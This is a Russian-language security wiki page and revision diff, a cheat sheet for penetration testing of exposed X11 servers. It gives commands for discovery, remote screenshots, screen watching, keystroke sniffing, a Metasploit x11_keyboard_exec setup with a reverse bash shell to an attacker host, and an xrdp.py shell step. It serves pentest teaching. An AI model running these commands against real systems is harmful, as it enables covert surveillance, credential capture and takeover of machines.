X11 all — различия между версиями
Материал из InformationSecurity WIKI
Drakylar (обсуждение | вклад) м (→Атаки) |
Drakylar (обсуждение | вклад) м (→RCE) |
||
| Строка 70: | Строка 70: | ||
run | run | ||
</syntaxhighlight> | </syntaxhighlight> | ||
| + | |||
| + | ===xrdp=== | ||
| + | |||
| + | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
| + | ./xrdp.py <target:0> --no-disp | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | Там будет кнопка R-Shell | ||
=Ссылки= | =Ссылки= | ||
[https://www.hackingarticles.in/penetration-testing-on-x11-server/ x11 туториал] | [https://www.hackingarticles.in/penetration-testing-on-x11-server/ x11 туториал] | ||
Версия 13:24, 30 апреля 2020
Содержание
Разведка
Поиск сервиса
nmap
nmap target -p 6000 --script x11-accessПроверка подключения
xdpyinfo
xdpyinfo -display <ip>:<display>Информация об окнах
xwininfo
xwininfo -root -tree -display target:0Атаки
Скриншоты
xwd
xwd -root -screen -silent -display target:0 > screenshot.xwd
convert screenshot.xwd screenshot.pngСлежка за экраном
xwatchwin
./xwatchwin target:0 -w window_id
Сниффер
Сниффать нажатия
xspy
xspy target
RCE
x11_keyboard_exec
use unix/x11/x11_keyboard_exec
set rhost target
set payload cmd/unix/reverse_bash
set lhost myip
set lport myport
set time_wait 10
runxrdp
./xrdp.py <target:0> --no-dispТам будет кнопка R-Shell